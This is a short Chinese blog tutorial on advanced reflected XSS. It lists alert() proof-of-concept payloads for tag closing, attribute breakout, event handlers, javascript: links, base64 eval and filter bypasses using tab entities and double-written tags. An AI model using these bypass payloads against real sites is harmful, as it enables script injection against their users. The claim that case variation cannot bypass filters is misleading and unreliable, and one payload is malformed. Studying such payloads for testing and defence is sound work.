XSS进阶

一、通过闭合标签来进行xss注入

 

 我们可以在url中发现传递了一个参数name=test,而且该参数在当前web页面进行了回显,我们观察可以发现回显内容在h2标签里面,所以我们的payload可以通过闭合h2标签来进行xss注入:?name=1</h2><script>alert('xss');</script>

二、属性中的XSS注入

 

 这里我们发现我们输入的数据(传递的参数)回显在了前端代码value的值中,所以我们的payload要闭合该属性及整个input标签,不能只闭合value,所以payload为:keyworld=1"> <script>alert('xss')</script>

三、利用事件

 可用在尖括号被转义的情况下

 

 payload:1" onclick="alert('xss')"

四、利用伪协议

payload: "> <a href="javascript:alert(/xss/);">xss</a>

五、利用base64加密(编码绕过)

payload:"> <script>eval(atob(加密的数据))</script>

六、利用&#09绕过过滤

说明:空格和%0a 这种宽字符都是实际存在的字符,而&#09(实体编码)就不一样了,它是一个 tab 符浏览器自动解析时会自动忽略该字符。

 payload:"> <a href="javas&#09cript:alert(/xss/)>xss</a>"

七、双写绕过

payload:"> <scscriptript>alert(/xss/)</scscriptript>

注:因为js代码严格区分大小写所以并无大小写绕过!

posted @ 2022-03-10 11:43  hithub  阅读(124)  评论(0编辑  收藏  举报